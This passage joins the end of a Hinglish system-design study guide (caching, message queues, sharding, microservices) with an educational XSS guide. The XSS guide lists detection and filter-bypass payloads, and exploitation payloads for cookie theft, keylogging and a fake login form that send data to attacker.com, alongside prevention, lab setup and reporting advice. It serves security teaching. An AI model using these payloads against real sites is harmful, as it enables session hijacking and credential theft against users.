                json.dumps(user)
            )
        return user

    def invalidate_user(self, user_id):
        self.redis.delete(f"user:{user_id}")
```

>> CDN Strategy

WHAT:

CDN configuration and usage

STRATEGIES:

* 1. Cache Static Assets:
* - Images, CSS, JS files
* - Long TTL (30 days)
* - Versioned URLs for cache busting
*
* 2. Dynamic Content:
* - Edge caching for API responses
* - Short TTL (1-5 minutes)
* - Cache based on user location
*
* 3. Cache Invalidation:
* - Purge by URL pattern
* - Versioned resources
* - Query parameter based

---

10. MESSAGE QUEUES (KAFKA, RABBITMQ)

>> What are Message Queues

WHAT:

Message queues asynchronous communication allow karte hain between services. Ye decoupling, reliability, aur scalability provide karte hain.

>> Kafka vs RabbitMQ

WHAT:

Comparison of popular message queues

>> Kafka Implementation

WHAT:

Kafka producer and consumer example

CODE / IMPLEMENTATION:

```
from kafka import KafkaProducer, KafkaConsumer
import json

# Producer
producer = KafkaProducer(
    bootstrap_servers=['localhost:9092'],
    value_serializer=lambda v: json.dumps(v).encode('utf-8')
)

# Send message
producer.send('order-events', {'order_id': 123, 'status': 'created'})
producer.flush()

# Consumer
consumer = KafkaConsumer(
    'order-events',
    bootstrap_servers=['localhost:9092'],
    auto_offset_reset='earliest',
    enable_auto_commit=True,
    group_id='order-processing-group',
    value_deserializer=lambda x: json.loads(x.decode('utf-8'))
)

for message in consumer:
    order = message.value
    print(f"Processing order: {order['order_id']}")
```

>> RabbitMQ Implementation

WHAT:

RabbitMQ producer and consumer

CODE / IMPLEMENTATION:

```
import pika
import json

# Producer
connection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))
channel = connection.channel()
channel.queue_declare(queue='task_queue', durable=True)

message = json.dumps({'task': 'send_email', 'to': 'user@example.com'})
channel.basic_publish(
```

```
    exchange='',
    routing_key='task_queue',
    body=message,
    properties=pika.BasicProperties(delivery_mode=2)
)
connection.close()

# Consumer
def callback(ch, method, properties, body):
    task = json.loads(body)
    print(f"Processing: {task}")
    ch.basic_ack(delivery_tag=method.delivery_tag)

connection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))
channel = connection.channel()
channel.queue_declare(queue='task_queue', durable=True)
channel.basic_qos(prefetch_count=1)
channel.basic_consume(queue='task_queue', on_message_callback=callback)

print('Waiting for messages...')
channel.start_consuming()
```

11. DATABASE SHARDING

>> What is Sharding

WHAT:

Sharding data ko multiple database instances me horizontally partition karna hai. Isse write scalability improve hoti hai aur hot spots reduce hote hain.

>> Sharding Implementation

WHAT:

Application-level sharding implementation

CODE / IMPLEMENTATION:

```
import hashlib

class ShardManager:
    def __init__(self, shard_count):
        self.shard_count = shard_count
        self.shards = [self.get_connection(i) for i in range(shard_count)]

    def get_shard_key(self, user_id):
        return user_id % self.shard_count

    def get_shard_by_hash(self, key):
        hash_val = int(hashlib.md5(str(key).encode()).hexdigest(), 16)
        return hash_val % self.shard_count

    def get_shard_by_user(self, user_id):
        shard_id = user_id % self.shard_count
        return self.shards[shard_id]

    def get_connection(self, shard_id):
        # Return database connection for shard
        return f"postgresql://localhost:5432/shard_{shard_id}"
```

---

12. MICROSERVICES VS MONOLITH

>> Monolith Architecture

WHAT:

Monolithic application - single deployable unit

PROS (ADVANTAGES):

* 1. Simple development and deployment
* 2. Easy debugging and testing
* 3. Less network overhead
* 4. Simple transactions (ACID)
* 5. Easier initial development

CONS (DISADVANTAGES):

* 1. Tightly coupled components
* 2. Scaling requires scaling entire app
* 3. Slower development as codebase grows
* 4. Hard to adopt new technologies
* 5. Deployment risk (one failure affects all)

>> Microservices Architecture

WHAT:

Microservices - independent deployable services

PROS (ADVANTAGES):

* 1. Independent scaling
* 2. Technology diversity (use best tool for each service)
* 3. Faster development cycles
* 4. Fault isolation
* 5. Easier to understand and maintain
* 6. Independent deployments

CONS (DISADVANTAGES):

* 1. Distributed system complexity
* 2. Network latency
* 3. Data consistency challenges (eventual consistency)
* 4. DevOps overhead
* 5. Service discovery complexity
* 6. Testing complexity

>> When to Use What

WHAT:

Monolith vs Microservices decision factors

DECISION FACTORS:

* Start with Monolith When:
* - Small team (<10 developers)
* - Simple domain
* - Fast time-to-market needed
* - Unknown scaling requirements
*
* Move to Microservices When:
* - Team grows (multiple teams)
* - Need to scale different parts independently

* - Different parts have different tech requirements
* - Need independent release cycles
* - High availability requirements

>> Microservices Communication Patterns

WHAT:

How microservices communicate

PATTERNS:

```
1. Synchronous (REST/gRPC):
   - Simple, request-response
   - Tight coupling, blocking
   - Use for: User-facing APIs

2. Asynchronous (Message Queue):
   - Loosely coupled
   - Event-driven, eventual consistency
   - Use for: Background tasks, notifications

3. Event Sourcing:
   - Store state changes as events
   - Complete audit trail
   - Use for: Financial systems, audit logs

4. CQRS (Command Query Responsibility Segregation):
   - Separate read and write models
   - Optimize each separately
   - Use for: Complex domains, high traffic
```

XSS Complete Guide

Cross-Site Scripting - Attack, Detection, Prevention

Generated: 22-March-2026

DISCLAIMER: This guide is for educational purposes only. Only test on applications you own or have permission to test. Unauthorized hacking is illegal.

1. XSS KYA HAI (WHAT IS XSS)

>> Definition

WHAT:

XSS (Cross-Site Scripting) ek vulnerability hai jaha attacker malicious JavaScript code inject karta hai website me. Jab user website visit karta hai, toh wo malicious code user ke browser me execute hota hai.

EXAMPLE:

Example: Agar website comment box me <script>alert('Hacked')</script> dalte ho aur website usko filter nahi karti, toh jab koi user comment page dekhega, alert popup aayega. Attacker isse cookies steal, session hijack, keylogging kar sakta hai.

IMPACT:

Session hijacking, Cookie stealing, Keylogging, Phishing, Defacement, Malware distribution

---

>> XSS Kaise Kaam Karta Hai

WHAT:

XSS ka fundamental concept - untrusted data ko output me properly escape nahi kiya

STEPS:

* Step 1: Attacker website me malicious code inject karta hai (input field, URL parameter, etc.)
* Step 2: Website code ko store karta hai ya reflect karta hai without sanitization
* Step 3: Victim website ko access karta hai
* Step 4: Browser malicious code execute karta hai
* Step 5: Attacker ko victim ka data mil jata hai (cookies, session tokens)

---

2. XSS TYPES (PRAKAR)

>> Reflected XSS (Non-Persistent)

WHAT:

Malicious code URL parameter me pass hota hai, server usko reflect karta hai response me. Victim ko malicious link click karna padta hai.

EXAMPLE:

```
http://example.com/search?q=<script>alert('XSS')</script>
```

EXPLOIT:

Attacker victim ko malicious link bhejta hai. Victim click karta hai, script execute hoti hai.

PAYLOADS:

```
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)
```

>> Stored XSS (Persistent)

WHAT:

Malicious code permanently database me store ho jata hai. Har user jo page visit karta hai, uspe script execute hoti hai. Sabse dangerous type.

EXAMPLE:

```
Comment box me <script>alert('Stored XSS')</script> dalo, database me store ho jayega
```

EXPLOIT:

Attacker comment/profile/feedback me script inject karta hai. Server store karta hai. Har user jab page dekhega, script execute hogi.

PAYLOADS:

```
<script>fetch('http://attacker.com?cookie='+document.cookie)</script>
<img src=x onerror="new Image().src='http://attacker.com/log?c='+document.cookie">
```

>> DOM Based XSS

WHAT:

Client-side JavaScript DOM manipulation se hota hai. Server involved nahi hota, pure client-side vulnerability.

EXAMPLE:

```
document.write(location.hash.substring(1))
```

EXPLOIT:

URL fragment (#) me malicious code dalte ho. JavaScript usko DOM me inject kar deta hai.

PAYLOADS:

```
http://example.com/page.html#<img src=x onerror=alert(1)>
http://example.com/page.html#javascript:alert(1)
```

---

3. XSS DETECTION PAYLOADS

>> Basic Payloads

WHAT:

XSS detection ke liye common payloads

PAYLOADS:

```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<iframe src="javascript:alert(1)">
<object data="javascript:alert(1)">
```

>> Bypass Payloads

WHAT:

Filter bypass ke liye payloads

PAYLOADS:

```
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<svg/onload=alert(1)>
<img src=x onerror=alert`1`>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
```

---

4. XSS EXPLOITATION TECHNIQUES

>> Cookie Stealing

WHAT:

Victim ki cookies steal karna - session hijacking ke liye

PAYLOAD:

```
<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>
```

ALTERNATIVE:

```
<img src=x onerror="new Image().src='http://attacker.com/log?cookie='+document.cookie">
```

ATTACKER SERVER:

```
python3 -m http.server 8080
```

>> Keylogging

WHAT:

Victim ke keyboard input capture karna

PAYLOAD:

```
<script>document.onkeypress = function(e) { fetch('http://attacker.com/log?key=' + e.key) }</script>
```

>> Phishing with XSS

WHAT:

Real login page jaisa fake form create karna

PAYLOAD:

```
<script>document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"><h2>Session Expired. Login Again</h2><form id=f><input type=text name=user><br><input type=password name=pass><br><input type=submit value=Login></form></div>';document.getElementById('f').onsubmit = function(e) { e.preventDefault(); fetch('http://attacker.com/steal?user=' + this.user.value + '&pass=' + this.pass.value); alert('Login Failed'); }</script>
```

---

5. XSS BYPASS TECHNIQUES

>> Filter Bypass

WHAT:

WAF aur filters ko bypass karna

BYPASS TECHNIQUES:

```
Case Manipulation: <ScRiPt>alert(1)</ScRiPt>
Double Encoding: %253Cscript%253Ealert(1)%253C/script%253E
Using HTML Entities: &lt;script&gt;alert(1)&lt;/script&gt;
JavaScript Protocol: javascript:alert(1)
Using Line Breaks: <script\n>alert(1)</script>
Null Bytes: <scri%00pt>alert(1)</script>
SVG Tags: <svg/onload=alert(1)>
Iframe: <iframe srcdoc='<script>alert(1)</script>'>
Event Handlers: " autofocus onfocus=alert(1) x="
```

---

6. XSS PREVENTION (BACHAAV)

>> Output Encoding

WHAT:

User input ko safe output me convert karna - MOST IMPORTANT

EXAMPLES:

```
HTML Context: < -> &lt; | > -> &gt; | & -> &amp; | " -> &quot; | ' -> &#x27;

Python Flask: from markupsafe import escape; return escape(user_input)

PHP: echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

JavaScript: element.textContent = userInput;  # Instead of innerHTML
```

>> Content Security Policy (CSP)

WHAT:

Browser ko batana ki kaunsi scripts allowed hain

EXAMPLES:

```
Apache: Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
Nginx: add_header Content-Security-Policy "default-src 'self'; script-src 'self'"
CSP Directives: default-src 'self', script-src 'self', img-src https://images.com
```

>> Secure Coding Practices

WHAT:

XSS se bachne ke liye coding practices

DO (KARNA HAI):

* Always validate and sanitize user input
* Use HTTPOnly flag for cookies - prevents JavaScript access
* Use Secure flag for cookies - only HTTPS
* Implement Content Security Policy (CSP)
* Use framework's built-in XSS protection
* Use textContent instead of innerHTML
* Regular security testing

DON'T (NAHI KARNA):

* Use innerHTML with user input
* Trust user input even from database
* Disable CSP in production
* Use eval() with user input
* Create HTML strings by concatenation

---

7. XSS TESTING ENVIRONMENT

>> Setup Vulnerable Lab

WHAT:

XSS practice ke liye vulnerable environment setup

COMMANDS:

```
# DVWA (Damn Vulnerable Web Application)
sudo apt install apache2 mysql-server php -y
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chmod -R 777 DVWA/
# Access: http://localhost/DVWA
# Default login: admin/password
# WebGoat (OWASP)
wget https://github.com/WebGoat/WebGoat/releases/download/v8.1.0/webgoat-server-8.1.0.jar
java -jar webgoat-server-8.1.0.jar
# Access: http://localhost:8080/WebGoat
```

>> Browser Tools

WHAT:

XSS testing ke liye browser tools

TOOLS:

* Developer Tools (F12): Console, Sources, Network tabs
* Burp Suite: Repeater, Intruder for payload automation
* Browser Extensions: XSS Hunter, HackBar

---

8. REAL-WORLD XSS SCENARIOS

>> Scenario 1 - Comment Section

WHAT:

Blog comment section me stored XSS

STEPS:

* 1. Comment box me script inject karo: <script>alert('XSS')</script>
* 2. Website comment store karta hai without sanitization
* 3. Admin comment page dekhta hai, script execute hoti hai
* 4. Attacker admin session hijack kar leta hai

>> Scenario 2 - URL Parameter

WHAT:

Search page me reflected XSS

STEPS:

* 1. Search parameter vulnerable hai
* 2. Payload bhejo: http://site.com/search?q=<script>alert(1)</script>
* 3. Malicious link banake victim ko bhejo
* 4. Victim click karta hai, cookies steal ho jati hain

>> Scenario 3 - Profile Page

WHAT:

User profile me stored XSS

STEPS:

* 1. Profile bio me <img src=x onerror='stealCookies()'> dalo
* 2. Profile store hota hai database me
* 3. Jab koi profile dekhta hai, script execute hoti hai
* 4. Har visitor ka data steal

---

9. XSS REPORTING AND FIXING

>> Reporting Template

WHAT:

XSS vulnerability report kaise likhein

REPORT TEMPLATE:

```
Title: Reflected XSS in Search Parameter

Description: The search functionality at https://example.com/search is vulnerable to reflected XSS.

Steps to Reproduce:
1. Navigate to https://example.com/search?q=test
2. Replace 'test' with <script>alert('XSS')</script>
3. Observe alert popup showing vulnerability

Impact: Attacker can steal cookies, session tokens.

Remediation: Implement output encoding, use htmlspecialchars()
```

>> Fix Examples

WHAT:

Vulnerable code vs Fixed code

EXAMPLES:

```
PHP Vulnerable: echo $_GET['q'];
PHP Fixed: echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');

JavaScript Vulnerable: element.innerHTML = userInput;
JavaScript Fixed: element.textContent = userInput;

Python Flask Vulnerable: return '<h1>' + user_input + '</h1>'
Python Flask Fixed: return '<h1>' + escape(user_input) + '</h1>'
```

---

10. ADVANCED XSS CONCEPTS

>> XSS with CSRF Combined

WHAT:

XSS + CSRF = Account takeover

PAYLOAD:

```
<script>fetch('/change-password', {method:'POST', body:'new_password=hacked123', credentials:'include'})</script>
```

>> Blind XSS

WHAT:

XSS jo admin panel me execute hota hai, attacker ko directly nahi dikhta

PAYLOAD:

```
<script>fetch('http://attacker.com/xss?cookie='+document.cookie+'&url='+location.href)</script>
```

>> Self-XSS

WHAT:

XSS jo sirf attacker ke browser me execute hota hai - limited impact

NOTE: Social engineering se victim ko console me code paste karne ke liye force karte hain

---